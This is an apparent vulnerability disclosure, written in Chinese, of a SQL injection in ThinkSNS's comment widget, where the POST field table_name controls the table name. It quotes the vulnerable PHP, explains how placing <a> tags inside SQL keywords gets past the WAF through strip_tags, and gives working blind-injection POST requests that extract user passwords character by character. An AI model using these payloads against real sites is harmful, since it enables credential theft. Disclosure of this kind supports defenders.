### 简要描述:
ThinkSNS漏洞系列第二弹,某处处理不当导致SQL注入
### 详细说明:
漏洞点出现在Comment Widget里:
\addons\widget\CommentWidget\CommentWidget.class.php:138
```
/**
 * 添加评论的操作
 *
 * @return array 评论添加状态和提示信息
 */
public function addcomment() {
    // 返回结果集默认值
    $return = array (
        'status' => 0,
        'data' => L ( 'PUBLIC_CONCENT_IS_ERROR' )
    );
    // 获取接收数据
    $data = $_POST;
    // 安全过滤
    foreach ( $data as $key => $val ) {
        $data [$key] = t ( $data [$key] );
    }
    // 评论所属与评论内容
    $data ['app'] = $data ['app_name'];
    $data ['table'] = $data ['table_name'];
    $data ['content'] = h ( $data ['content'] );
    // 判断资源是否被删除
    $dao = M ( $data ['table'] );
    $idField = $dao->getPk ();
    $map [$idField] = $data ['row_id'];
    $sourceInfo = $dao->where ( $map )->find ();
    if (! $sourceInfo) {
        $return ['status'] = 0;
        $return ['data'] = '内容已被删除,评论失败';
        exit ( json_encode ( $return ) );
    }
    ... ... ... ... ... ... ...
}
```
$_POST经过$data [$key] = t( $data [$key] )后成为$data。
然后$dao = M ( $data ['table'] )会实例化一个Model,用于接下来的操作:
\core\OpenSociax\functions.inc.php:431:
```
//D函数的别名
function M($name='',$app='@') {
    return D($name,$app);
}
```
\core\OpenSociax\functions.inc.php:441:
```
/**
 * D函数用于实例化Model
 * @param string name Model名称
 * @param string app Model所在项目
 * @return object
 */
function D($name='', $app='@', $inclueCommonFunction=true) {
    static $_model = array();
    if(empty($name)) return new Model;
    if(empty($app) || $app=='@')   $app =  APP_NAME;
    $name = ucfirst($name);
    if(isset($_model[$app.$name]))
        return $_model[$app.$name];
    $OriClassName = $name;
    $className =  $name.'Model';
    //优先载入核心的 所以不要和核心的model重名
    if(file_exists(ADDON_PATH.'/model/'.$className.'.class.php')){
        tsload(ADDON_PATH.'/model/'.$className.'.class.php');
    }elseif(file_exists(APPS_PATH.'/'.$app.'/Lib/Model/'.$className.'.class.php')){
        $common = APPS_PATH.'/'.$app.'/Common/common.php';
        if(file_exists($common) && $inclueCommonFunction){
            tsload($common);
        }
        tsload(APPS_PATH.'/'.$app.'/Lib/Model/'.$className.'.class.php');
    }
    if(class_exists($className)) {
        $model = new $className();
    }else{
        $model  = new Model($name);
    }
    $_model[$app.$OriClassName] =  $model;
    return $model;
}
```
若\$className不存在,就实例化Model
\core\OpenSociax\Model.class.php:60
```
/**
 * 架构函数
 * 取得DB类的实例对象 字段检查
 * @param string $name 模型名称
 * @access public
 */
public function __construct($name='')
{
    // 模型初始化
    $this->_initialize();
    // 获取模型名称
    if(!empty($name)) {
        $this->name   =  $name;
    }elseif(empty($this->name)){
        $this->name =   $this->getModelName();
    }
    // 数据库初始化操作
    // 获取数据库操作对象
    // 当前模型有独立的数据库连接信息
    $this->db = Db::getInstance(empty($this->connection)?'':$this->connection);
    // 设置表前缀
    $this->tablePrefix = $this->tablePrefix?$this->tablePrefix:C('DB_PREFIX');
    $this->tableSuffix = $this->tableSuffix?$this->tableSuffix:C('DB_SUFFIX');
    // 字段检测
    if(!empty($this->name) && $this->autoCheckFields)    $this->_checkTableInfo();
    //TODO  临时强制要求
    if(!empty($this->tableName) && empty($this->fields)) throw_exception('开发阶段,请为你的model填写fields!');
}
```
最后$this->name = $name将\$_POST['table_name']赋给Model实例的name属性里。
回到最初的addcomment函数,下一步就是用刚实例化的Model查找数据:
$sourceInfo = $dao->where ( $map )->find ()
在查找逻辑里,如果表名不存在,那么就使用name属性的值作表名,而name属性正是\$_POST['table_name'],漏洞就是表名可控。
\core\OpenSociax\Model.class.php:908:
```
/**
 * 得到完整的数据表名
 * @access public
 * @return string
 */
public function getTableName()
{
    if(empty($this->trueTableName)) {
        $tableName  = !empty($this->tablePrefix) ? $this->tablePrefix : '';
        if(!empty($this->tableName)) {
            $tableName .= $this->tableName;
        }else{
            $tableName .= parse_name($this->name);
        }
        $tableName .= !empty($this->tableSuffix) ? $this->tableSuffix : '';
        if(!empty($this->dbName))
            $tableName    =  $this->dbName.'.'.$tableName;
        $this->trueTableName    =   strtolower($tableName);
    }
    return $this->trueTableName;
}
```
由于ThinkSNS前台有WAF,因此需要结合t()来绕过:
\core\OpenSociax\functions.inc.php:630
```
/**
 * t函数用于过滤标签,输出没有html的干净的文本
 * @param string text 文本内容
 * @return string 处理后内容
 */
function t($text){
    $text = nl2br($text);
    $text = real_strip_tags($text);
    $text = addslashes($text);
    $text = trim($text);
    return $text;
}
```
经过t()的变量都会过real_strip_tags($text):
\core\OpenSociax\functions.inc.php:2274
```
function real_strip_tags($str, $allowable_tags="") {
    $str = html_entity_decode($str,ENT_QUOTES,'UTF-8');
    return strip_tags($str, $allowable_tags);
}
```
而real_strip_tags($text)里的strip_tags($str, $allowable_tags)会过滤掉tag,所以在SQL关键字中插入tag就能bypass waf,最后成为可以被利用的SQL注入。 
### 漏洞证明:
直接基于内容的SQL注入就好,POST请求都要带上正确的referer。
```
POST /index.php?app=widget&mod=Comment&act=addcomment&uid=1
app_name=public&table_name=user w<a>here if((sel<a>ect asci<a>i(subst<a>ring(password,/**/1,1/**/)))>0,/**/1,0);-- -&content=test&row_id=1&app_detail_summary=
```
[<img src="https://images.seebug.org/upload/201411/02174024a9831daa6b6793c7374ada3ccab3463c.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/02174024a9831daa6b6793c7374ada3ccab3463c.jpg)
```
POST /index.php?app=widget&mod=Comment&act=addcomment&uid=1
app_name=public&table_name=user w<a>here if((sel<a>ect asci<a>i(subst<a>ring(password,/**/1,1/**/)))>100,/**/1,0);-- -&content=test&row_id=1&app_detail_summary=
```
[<img src="https://images.seebug.org/upload/201411/02174210f45450689b08dd67a978b83d10a2bb36.jpg" alt="3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/02174210f45450689b08dd67a978b83d10a2bb36.jpg)
 
                       
                       
        
          
暂无评论